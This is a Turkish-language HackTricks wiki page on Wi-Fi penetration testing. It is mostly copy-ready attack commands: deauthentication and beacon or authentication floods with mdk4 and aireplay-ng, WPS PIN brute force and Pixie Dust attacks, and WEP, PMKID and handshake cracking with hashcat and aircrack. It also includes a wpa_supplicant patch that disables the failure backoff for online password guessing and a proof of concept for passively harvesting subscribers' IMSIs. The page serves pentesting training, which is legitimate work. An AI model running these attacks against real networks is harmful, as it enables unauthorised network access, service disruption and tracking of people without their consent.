Pentesting Wifi
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Wifi temel komutlar
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
Araçlar
Hijacker & NexMon (Android dahili Wi-Fi)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
docker ile airgeddon’u çalıştırın
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Evil Twin, KARMA ve Known Beacons saldırılarını gerçekleştirebilir ve ardından ağın gerçek parolasını elde etmek veya sosyal ağ kimlik bilgilerini ele geçirmek için bir phishing şablonu kullanabilir.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
Bu araç WPS/WEP/WPA-PSK saldırılarını otomatikleştirir. Otomatik olarak:
- Arayüzü monitor mode’a geçirir
- Olası ağları tarar - ve hedef(leri) seçmenize izin verir
- Eğer WEP - WEP saldırılarını başlatır
- Eğer WPA-PSK
- Eğer WPS: Pixie dust attack ve bruteforce attack (dikkat: brute-force attack uzun sürebilir). Null PIN veya database/generated PIN’leri denemediğini unutmayın.
- AP’den PMKID’yi yakalayıp kırmaya çalışır
- Handshake yakalamak için AP’nin clients’larını deauthenticate etmeye çalışır
- PMKID veya Handshake varsa, top5000 parolaları kullanarak bruteforce etmeye çalışır
Attacks Summary
- DoS
- Deauthentication/disassociation – Herkesin bağlantısını keser (veya belirli bir ESSID/Client)
- Random fake APs – Ağları gizleme, tarayıcıların çökmesine neden olma olasılığı
- Overload AP – AP’yi devre dışı bırakmaya çalışır (genelde çok faydalı değil)
- WIDS – IDS ile oynama
- TKIP, EAPOL – Bazı AP’lerde DoS’a neden olan spesifik saldırılar
- Cracking
- Crack WEP (birkaç araç ve yöntem)
- WPA-PSK
- WPS pin “Brute-Force”
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] – Captive portal creds yakalamak ve/veya LAN saldırıları gerçekleştirmek için faydalı
- WPA-PSK Evil Twin – Parolayı biliyorsanız ağ saldırıları için faydalı
- WPA-MGT – Şirket credentials’larını yakalamak için faydalı
- KARMA, MANA, Loud MANA, Known beacon
- + Open – Captive portal creds yakalamak ve/veya LAN saldırıları gerçekleştirmek için faydalı
- + WPA – WPA handshakes yakalamak için faydalı
Open / OWE networks quick notes
- Passive capture on open SSIDs still works with monitor mode and tcpdump:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
- OWE (Opportunistic Wireless Encryption) istasyon başına anahtar değişimi yapar (PSK yok), bu yüzden havadan iletilen çerçeveler “açık” SSID’lerde bile şifrelenir. WPA3 tabanlı olduğu için 802.11w PMF’yi de uygular; bu, sahte deauth/disassoc frame’lerini engeller.
- OWE katılanları doğrulamaz: herkes ilişkilendirilebilir, bu yüzden pazarlama iddialarına güvenmek yerine istemci izolasyonunu doğrulayın. İzolasyon yoksa, yerel L2’de ARP spoofing veya responder-style poisoning hâlâ çalışır.
- Evil Twin, daha güçlü bir sinyal sunarak açık/OWE SSID’lerde hâlâ mümkün olmaya devam eder; PMF yalnızca deauth kestirmesini ortadan kaldırır. Kurbanlar sahte bir TLS cert kabul ederse, tam HTTP(S) MitM yeniden elde edilir.
- Açık misafir Wi‑Fi’sinde yayın zehirlenmesi kolayca kimlik bilgileri/hash’ler (LLMNR/NBT-NS/mDNS) verir. Bakınız:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
DOS
Deauthentication Paketleri
Açıklama buradan:.
Deauthentication saldırıları, Wi‑Fi hacking’te yaygın bir yöntem olup, “management” çerçeveleri taklit ederek cihazları bir ağdan zorla çıkarmayı içerir. Bu şifrelenmemiş paketler istemcileri meşru ağdan geliyormuş gibi kandırır; saldırganların WPA handshakes toplayıp kırma amaçlı kullanmasına veya ağ bağlantılarını sürekli olarak kesmesine olanak sağlar. Bu taktik, basitliğiyle ürkütücü olup yaygın şekilde kullanılır ve ağ güvenliği için önemli etkileri vardır.
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 deauthentication anlamına gelir
- 1 gönderilecek deauths sayısıdır (isterseniz birden fazla gönderebilirsiniz); 0 bunları sürekli gönderir
- -a 00:14:6C:7E:40:80 access point’in MAC adresidir
- -c 00:0F:B5:34:30:30 deauthenticate edilecek client’ın MAC adresidir; bu atlanırsa broadcast deauthentication gönderilir (her zaman işe yaramayabilir)
- ath0 arayüz adıdır
Disassociation Packets
Disassociation packets, deauthentication packets’e benzer şekilde, Wi-Fi ağlarında kullanılan bir tür yönetim çerçevesidir. Bu paketler bir cihaz (ör. bir dizüstü bilgisayar veya akıllı telefon) ile bir access point (AP) arasındaki bağlantıyı kesmek için kullanılır. Disassociation ile deauthentication arasındaki temel ayrım kullanım senaryolarındadır. Bir AP, deauthentication packets ağdan rogue cihazları açıkça çıkarmak için gönderirken, disassociation packets genellikle AP kapatılırken , yeniden başlatılırken veya yer değiştirirken gönderilir; bu nedenle bağlı tüm düğümlerin bağlantısının kesilmesi gerekir.
Bu saldırı mdk4(mode “d”) ile gerçekleştirilebilir:
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
mdk4 ile daha fazla DOS saldırısı
Detaylar here.
ATTACK MODE b: Beacon Flooding
İstemcilere sahte AP’leri göstermek için beacon frames gönderir. Bu bazen network scanners’ı ve hatta drivers’ı çökertebilir!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Menzil içindeki tüm erişilebilir Access Points (APs)’e authentication frames göndermek, özellikle çok sayıda clients olduğunda, bu AP’leri aşırı yükleyebilir. Bu yoğun trafik sistem kararsızlığına yol açarak bazı AP’lerin kilitlenmesine veya hatta yeniden başlatılmasına neden olabilir.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Probing Access Points (APs), bir SSID’nin düzgün şekilde ortaya çıkıp çıkmadığını kontrol eder ve AP’nin menzilini doğrular. Bu teknik, bir wordlist ile veya olmadan bruteforcing hidden SSIDs ile birleştirildiğinde gizlenmiş ağların tespit edilmesine ve bunlara erişilmesine yardımcı olur.
ATTACK MODE m: Michael Countermeasures Exploitation
Rastgele veya tekrar eden paketlerin farklı QoS kuyruklarına gönderilmesi, TKIP APs üzerinde Michael Countermeasures’ı tetikleyebilir ve bu, AP’nin bir dakika boyunca kapanmasına yol açar. Bu yöntem etkili bir DoS (Denial of Service) saldırı taktiğidir.
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Bir AP’yi EAPOL Start frames ile floodlamak, sahte oturumlar oluşturarak AP’yi aşırı yükler ve meşru istemcilerin bağlanmasını engeller. Alternatif olarak, fake EAPOL Logoff messages enjekte etmek istemcileri zorla bağlantıdan düşürür; her iki yöntem de ağ hizmetini etkili şekilde kesintiye uğratır.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
Mesh ağlarında bağlantı yönetimi ve yönlendirme üzerine çeşitli saldırılar.
ATTACK MODE w: WIDS Confusion
İstemcileri birden fazla WDS düğümüne veya sahte rogue AP’lere çapraz bağlamak, Intrusion Detection and Prevention Systems’ı manipüle ederek kafa karışıklığı ve potansiyel sistem suistimaline yol açabilir.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
SALDIRI MODU f: Packet Fuzzer
Çeşitli paket kaynaklarına ve paket manipülasyonu için kapsamlı bir değiştirici setine sahip bir Packet Fuzzer.
Airggedon
Airgeddon önceki yorumlarda önerilen saldırıların çoğunu sunar:
.png)
WPS
WPS (Wi-Fi Protected Setup), cihazların bir yönlendiriciye bağlanma sürecini basitleştirir; WPA veya WPA2 Personal ile şifrelenmiş ağlarda kurulum hızını ve kolaylığını artırır. Kolayca ele geçirilen WEP güvenliği için etkisizdir. WPS, iki yarıda doğrulanan 8 haneli bir PIN kullanır; bu, kombinasyon sayısının sınırlı olması (11.000 olasılık) nedeniyle brute-force saldırılarına karşı savunmasızdır.
WPS Bruteforce
Bu işlemi gerçekleştirmek için 2 ana araç vardır: Reaver ve Bully.
- Reaver WPS’ye karşı sağlam ve pratik bir saldırı olacak şekilde tasarlanmıştır ve çok çeşitli erişim noktaları ve WPS uygulamaları üzerinde test edilmiştir.
- Bully WPS brute force saldırısının yeni bir implementasyonudur, C ile yazılmıştır. Orijinal reaver koduna göre birkaç avantajı vardır: daha az bağımlılık, geliştirilmiş bellek ve CPU performansı, endianness’in doğru işlenmesi ve daha sağlam bir seçenek seti.
Saldırı, özellikle ilk dört hanenin açığa çıkması ve son hanenin checksum görevi görmesi nedeniyle WPS PIN’in zafiyetinden yararlanır; bu durum brute-force saldırısını kolaylaştırır. Ancak, agresif saldırganların MAC addresslerini engelleme gibi brute-force’a karşı savunmalar, saldırının sürdürülmesi için MAC address rotation gerektirir.
Bully veya Reaver gibi araçlarla WPS PIN elde edildikten sonra, saldırgan WPA/WPA2 PSK’yı türetebilir ve böylece kalıcı ağ erişimi (persistent network access) sağlar.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
Bu rafine yaklaşım, bilinen zafiyetleri kullanarak WPS PINs’i hedef alır:
- Pre-discovered PINs: Tek tip WPS PINs kullandığı bilinen belirli üreticilerle ilişkili bilinen PINlerin bulunduğu bir veritabanını kullanın. Bu veritabanı, MAC-addresses’in ilk üç oktetini bu üreticilere ait muhtemel PINlerle ilişkilendirir.
- PIN Generation Algorithms: ComputePIN ve EasyBox gibi algoritmaları kullanın; bunlar AP’nin MAC-address’ine dayanarak WPS PINs’leri hesaplar. Arcadyan algorithm ayrıca bir device ID gerektirir, bu da PIN oluşturma sürecine ek bir katman ekler.
WPS Pixie Dust attack
Dominique Bongard bazı Access Points (APs) üzerinde, nonces (E-S1 ve E-S2) olarak bilinen gizli kodların oluşturulmasıyla ilgili bir zafiyet keşfetti. Bu nonces çözülebilirse, AP’nin WPS PIN’inin kırılması kolaylaşır. AP, PIN’i meşru olduğunu ve fake (rogue) AP olmadığını kanıtlamak için özel bir kod (hash) içinde açığa çıkarır. Bu nonces esasen WPS PIN’ini tutan “kasa“yı açmanın “anahtar“larıdır. More on this can be found here.
Basitçe söylemek gerekirse, sorun bazı APs’in bağlantı sürecinde PIN’i şifrelemek için yeterince rastgele anahtarlar kullanmaması. Bu, PIN’in ağ dışından tahmin edilebilir (offline brute force attack) hâle gelmesine yol açar.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Cihazı monitor mode’a geçirmek istemiyorsanız veya reaver ve bully’de bazı sorunlar varsa, OneShot-C’yi deneyebilirsiniz. Bu araç, monitor mode’a geçmeden Pixie Dust attack gerçekleştirebilir.
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
Bazı kötü tasarlanmış sistemler, erişimi bir Null PIN (boş veya mevcut olmayan bir PIN) ile sağlamaya izin veriyor; bu oldukça sıra dışıdır. Araç Reaver, bu zafiyeti test edebilir; Bully ise bunu yapamaz.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
Önerilen tüm WPS saldırıları airgeddon kullanılarak kolayca gerçekleştirilebilir.
.png)
- 5 ve 6, kendi özel PIN’inizi denemenize izin verir (varsa)
- 7 ve 8 Pixie Dust attack gerçekleştirir
- 13 size NULL PIN’i test etme olanağı sağlar
- 11 ve 12, seçili AP ile ilişkili PIN’leri mevcut veritabanlarından yeniden toplar ve ComputePIN, EasyBox ve isteğe bağlı olarak Arcadyan kullanarak olası PIN’leri üretir (önerilir, neden olmasın?)
- 9 ve 10 tüm olası PIN’leri test eder
WEP
Neden çöker
- RC4 seed sadece IV (24 bits) + shared key’dir. IV açık metin, küçüktür (2^24) ve hızla tekrar eder, bu yüzden aynı IV’ye sahip şifre metinleri keystream’i tekrar kullanır.
- Aynı keystream ile iki şifremetninin XORlanması
PlaintextA ⊕ PlaintextBleaks; öngörülebilir başlıklar + RC4 KSA biases (FMS) anahtar baytlarına “vote” etmenizi sağlar. PTW, bunu ARP trafiğini kullanarak optimize eder ve gereksinimleri milyonlar yerine on binler paket seviyesine indirir. - Bütünlük sadece CRC32 (lineer/anahtarsız) olduğundan, bir saldırgan anahtar olmadan bitleri değiştirebilir ve CRC32’yi yeniden hesaplayabilir → IV’leri beklerken paket sahteciliği/tekrar oynatma/ARP enjeksiyonu.
Pratik kırılma deterministiktir:
airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap # PTW attack recovers key once IV threshold is met
Airgeddon hala rehberli bir UI tercih ediyorsanız “All-in-One” WEP iş akışı sunuyor.
.png)
WPA/WPA2 PSK
PMKID
2018’de, hashcat revealed yeni bir saldırı yöntemi ortaya koydu; bu yöntem benzersizdir çünkü yalnızca one single packet gerektirir ve hedef AP’ye herhangi bir istemcinin bağlı olmasını gerektirmez—saldırgan ile AP arasındaki etkileşim yeterlidir.
Birçok modern yönlendirici association sırasında first EAPOL çerçevesine, Robust Security Network olarak bilinen bir optional field ekler. Bu, PMKID’yi içerir.
Orijinal gönderide açıklandığı gibi, PMKID bilinen veriler kullanılarak oluşturulur:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
“PMK Name” sabit olduğu için, AP ve istasyonun BSSID’sini biliyoruz ve PMK, tam bir 4-way handshake’dekiyle aynıdır; hashcat bu bilgiyi kullanarak PSK’yı kırabilir ve passphrase’i geri kazanabilir!
Bu bilgileri toplamak ve parolayı yerelde bruteforce etmek için şunu yapabilirsiniz:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
PMKIDs captured console’da gösterilecek ve ayrıca _ /tmp/attack.pcap_
Şimdi, yakalamayı hashcat/john formatına dönüştürün ve kırın:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Doğru bir hash formatının 4 bölüm içerdiğini lütfen unutmayın, örneğin: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Eğer sizinki sadece 3 bölüm içeriyorsa, o zaman geçersizdir (the PMKID capture wasn’t valid).
Unutmayın ki hcxdumptool also capture handshakes (şunun gibi bir şey görünecektir: MP:M1M2 RC:63258 EAPOLTIME:17091). cap2hccapx kullanarak handshakes’i hashcat/john formatına dönüştürebilirsiniz.
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
Bu araçla yakalanan bazı handshakes’lerin doğru parola bilinmesine rağmen cracked edilemediğini fark ettim. Mümkünse handshakes’i geleneksel yöntemle de yakalamayı veya bu araçla birkaç tane yakalamayı öneririm.
Handshake capture
WPA/WPA2 ağlarına yönelik bir saldırı, bir handshake yakalanarak ve parolayı offline olarak crack etmeye çalışılarak gerçekleştirilebilir. Bu süreç, belirli bir ağın iletişimini ve belirli bir channel üzerindeki BSSID’yi izlemeyi içerir. İşte sadeleştirilmiş bir rehber:
- Hedef ağın BSSID’sini, channel’ını ve bir connected client’ını belirleyin.
- Belirtilen channel ve BSSID üzerinde ağ trafiğini izlemek ve bir handshake yakalamayı umut ederek
airodump-ngkullanın. Komut şu şekilde olacaktır:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- handshake yakalama şansını artırmak için, istemciyi kısa süreliğine ağdan ayırarak yeniden kimlik doğrulaması yapmaya zorlayın. Bu, istemciye deauthentication packets gönderen
aireplay-ngkomutu kullanılarak yapılabilir:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
İstemci deauthenticated edildiği için farklı bir AP’ye veya bazı durumlarda farklı bir ağa bağlanmaya çalışabileceğini unutmayın.
airodump-ng içinde bazı handshake bilgileri göründüğünde bu, handshake’in yakalandığı anlamına gelir ve dinlemeyi durdurabilirsiniz:
 (1).png)
Handshake yakalandıktan sonra bunu aircrack-ng ile crack edebilirsiniz:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
Dosyada handshake olup olmadığını kontrol et
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
Eğer bu araç tamamlanmamış bir ESSID handshake’ini, tamamlanmış olandan önce bulursa, geçerli olanı tespit edemez.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
wpa_supplicant ctrl socket ile daha hızlı çevrimiçi PSK tahmini (istemci yok/PMKID)
İstemciler yokken ve AP PMKID’yi reddediyorsa, supplicants’ı yeniden başlatmadan PSKs üzerinde çevrimiçi olarak yineleyebilirsiniz:
wpa_supplicant.cdosyasını, auth failure backoff logic içinde (ssid->auth_failurescivarı)dur = 0;olacak şekilde yama yapın; bu, temporary-disable timer’ı fiilen devre dışı bırakır.- Bir adet daemon’ı control socket ile çalıştırın:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1
wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
- Kontrol arayüzü aracılığıyla yönetin, aynı tarama ve ağı yeniden kullanarak:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED
Küçük bir Python döngüsü, socket olaylarını (CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED) okuyarak scan overhead olmadan yaklaşık 100 tahmini ~5 dakikada test edebilir. Yine de gürültülü ve tespit edilebilir, ancak her deneme için süreç yeniden başlatmalarını ve backoff delays’ı önler.
WPA Enterprise (MGT)
Kurumsal WiFi kurulumlarında çeşitli kimlik doğrulama yöntemleriyle karşılaşırsınız; her biri farklı güvenlik seviyeleri ve yönetim özellikleri sunar. airodump-ng gibi araçları kullanarak ağ trafiğini incelediğinizde, bu kimlik doğrulama türleri için tanımlayıcılar görebilirsiniz. Yaygın bazı yöntemler şunlardır:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- Bu yöntem donanım token’larını ve tek kullanımlık parolaları EAP-PEAP içinde destekler. MSCHAPv2’nin aksine peer challenge kullanmaz ve parolaları erişim noktasına düz metin olarak gönderir; bu durum downgrade saldırıları için risk oluşturur.
- EAP-MD5 (Message Digest 5):
- İstemciden parolanın MD5 özeti gönderilmesini içerir. Sözlük saldırılarına karşı savunmasız olması, sunucu kimlik doğrulamasının olmaması ve oturum-spesifik WEP anahtarları üretememesi nedeniyle önerilmez.
- EAP-TLS (Transport Layer Security):
- Hem istemci hem sunucu sertifikalarını kimlik doğrulama için kullanır ve iletişimi güvence altına almak için kullanıcı-tabanlı ve oturum-tabanlı dinamik WEP anahtarları türetebilir.
- EAP-TTLS (Tunneled Transport Layer Security):
- Şifreli bir tünel aracılığıyla karşılıklı kimlik doğrulama sağlar ve dinamik, kullanıcı başına ve oturum başına WEP anahtarları türetme yöntemi sunar. Yalnızca sunucu tarafı sertifikaları gerektirir; istemciler kimlik bilgileri kullanır.
- PEAP (Protected Extensible Authentication Protocol):
- TLS tüneli oluşturarak EAP’e benzer şekilde korumalı iletişim sağlar. Tünelin sunduğu koruma sayesinde EAP üstünde daha zayıf kimlik doğrulama protokollerinin kullanılmasına izin verir.
- PEAP-MSCHAPv2: Genellikle PEAP olarak anılır; kırılgan MSCHAPv2 challenge/response mekanizmasını koruyucu bir TLS tüneli ile birleştirir.
- PEAP-EAP-TLS (or PEAP-TLS): EAP-TLS’ye benzer, ancak sertifikalar değiş tokuş edilmeden önce bir TLS tüneli başlatır ve böylece ek bir güvenlik katmanı sağlar.
You can find more information about these authentication methods here and here.
Username Capture
Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the “Identity” messages must be supported, and the username is going to be sent in clear in the “Response Identity” messages.
Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng inside a channel and wireshark in the same interface) and filter the packets byeapol.
Inside the “Response, Identity” packet, the username of the client will appear.
.png)
Anonymous Identities
Kimlik gizleme EAP-PEAP ve EAP-TTLS tarafından desteklenir. Bir WiFi ağında, bir EAP-Identity isteği genellikle association sürecinde erişim noktası (AP) tarafından başlatılır. Kullanıcı anonimliğinin korunmasını sağlamak için, kullanıcının cihazındaki EAP istemcisinin yanıtı ilk RADIUS sunucusunun isteği işleyebilmesi için gereken en temel bilgileri içerir. Bu kavram aşağıdaki senaryolarla gösterilebilir:
- EAP-Identity = anonymous
- Bu senaryoda tüm kullanıcılar kullanıcı tanımlayıcısı olarak takma ad “anonymous” kullanır. İlk RADIUS sunucusu PEAP veya EAP-TTLS sunucusu olarak hareket eder ve PEAP/TTLS protokolünün sunucu tarafını yönetir. İç (korunan) kimlik doğrulama yöntemi daha sonra ya yerel olarak işlenir ya da uzak (home) RADIUS sunucusuna devredilir.
- EAP-Identity = anonymous@realm_x
- Bu durumda, farklı realm’lerden gelen kullanıcılar kimliklerini gizlerken kendi realm’lerini belirtirler. Bu, ilk RADIUS sunucusunun EAP-PEAP veya EAP-TTLS isteklerini home realm’lerindeki RADIUS sunucularına proxy etmesine olanak verir; bu sunucular PEAP veya TTLS sunucusu olarak davranır. İlk RADIUS sunucusu yalnızca bir RADIUS aktarım düğümü olarak çalışır.
- Alternatif olarak, ilk RADIUS sunucusu EAP-PEAP veya EAP-TTLS sunucusu olarak hareket edebilir ve korunan kimlik doğrulama yöntemini ya kendisi işleyebilir ya da başka bir sunucuya iletebilir. Bu seçenek farklı realm’ler için ayrı politikalar yapılandırmaya olanak tanır.
EAP-PEAP’te, PEAP sunucusu ile PEAP istemcisi arasında TLS tüneli kurulduktan sonra, PEAP sunucusu bir EAP-Identity isteği başlatır ve bunu TLS tüneli üzerinden gönderir. İstemci bu ikinci EAP-Identity isteğine, kullanıcının gerçek kimliğini içeren bir EAP-Identity yanıtı göndererek tünel içinde cevap verir. Bu yaklaşım, 802.11 trafiğini dinleyen herhangi birinin kullanıcının gerçek kimliğini görmesini etkili şekilde engeller.
EAP-TTLS biraz farklı bir prosedür izler. EAP-TTLS ile istemci tipik olarak TLS tüneli ile güvence altına alınmış PAP veya CHAP kullanarak kimlik doğrulaması yapar. Bu durumda istemci, tünel kurulmasından sonra gönderilen ilk TLS mesajına bir User-Name attribute ve ya bir Password ya da CHAP-Password attribute ekler.
Hangi protokol seçilirse seçilsin, PEAP/TTLS sunucusu TLS tüneli kurulduktan sonra kullanıcının gerçek kimliğini öğrenir. Gerçek kimlik user@realm veya sadece user şeklinde olabilir. Eğer PEAP/TTLS sunucusu ayrıca kullanıcıyı kimlik doğrulamakla sorumluysa, artık kullanıcının kimliğine sahiptir ve TLS tüneliyle korunan kimlik doğrulama yöntemine devam eder. Alternatif olarak, PEAP/TTLS sunucusu kullanıcının home RADIUS sunucusuna yeni bir RADIUS isteği iletebilir. Bu yeni RADIUS isteği PEAP veya TTLS protokol katmanını içermez. Korunan kimlik doğrulama yöntemi EAP ise, iç EAP mesajları EAP-PEAP veya EAP-TTLS sarmalayıcısı olmadan home RADIUS sunucusuna iletilir. Giden RADIUS mesajının User-Name attribute’u, gelen RADIUS isteğindeki anonymous User-Name’in yerine kullanıcının gerçek kimliğini içerir. Korunan kimlik doğrulama yöntemi PAP veya CHAP olduğunda (yalnızca TTLS tarafından desteklenir), TLS yükünden çıkarılan User-Name ve diğer kimlik doğrulama attribute’ları giden RADIUS mesajında yer alır ve gelen RADIUS isteğindeki anonymous User-Name ile TTLS EAP-Message attribute’larının yerini alır.
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
SIM-based Wi‑Fi authentication using EAP‑SIM/EAP‑AKA over 802.1X can leak the permanent subscriber identifier (IMSI) in cleartext during the unauthenticated identity phase if the deployment doesn’t implement pseudonyms/protected identities or a TLS tunnel around the inner EAP.
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy
Genişletmek için tıklayın
```bash # 1) Enable monitor mode airmon-ng start wlan02) Optional: lock channel to the target BSS
airodump-ng wlan0mon –essid
3) Capture 802.1X/EAP frames
Wireshark display filters:
eap || eapol
(identity specifically): eap.code == 2 && eap.type == 1
Kismet: add source wlan0mon; enable 802.1X/EAP views
tcpdump (pcap capture):
tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
4) Wait for a device to auto-connect to the SSID
5) Inspect the first EAP-Response/Identity frame
Expected: ASCII NAI containing IMSI, e.g.
20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
</details>
Notlar:
- Dağıtım, korumalı kimlik/takma adlar kullanılmadan doğrudan EAP‑SIM/AKA kullanıyorsa herhangi bir TLS tünelinden önce çalışır.
- Ortaya çıkan değer, abonenin SIM'ine bağlı kalıcı bir tanımlayıcıdır; toplama uzun vadeli izleme ve sonraki telekom suistimallerine olanak sağlar.
Etkiler
- Gizlilik: kamusal alanlardaki pasif Wi‑Fi yakalamalarından kalıcı kullanıcı/cihaz takibi.
- Telekom suistimali için başlangıç: IMSI ile SS7/Diameter erişimi olan bir saldırgan konum sorgulayabilir veya çağrı/SMS yakalama ve MFA hırsızlığı girişiminde bulunabilir.
Önlemler / nelere bakılmalı
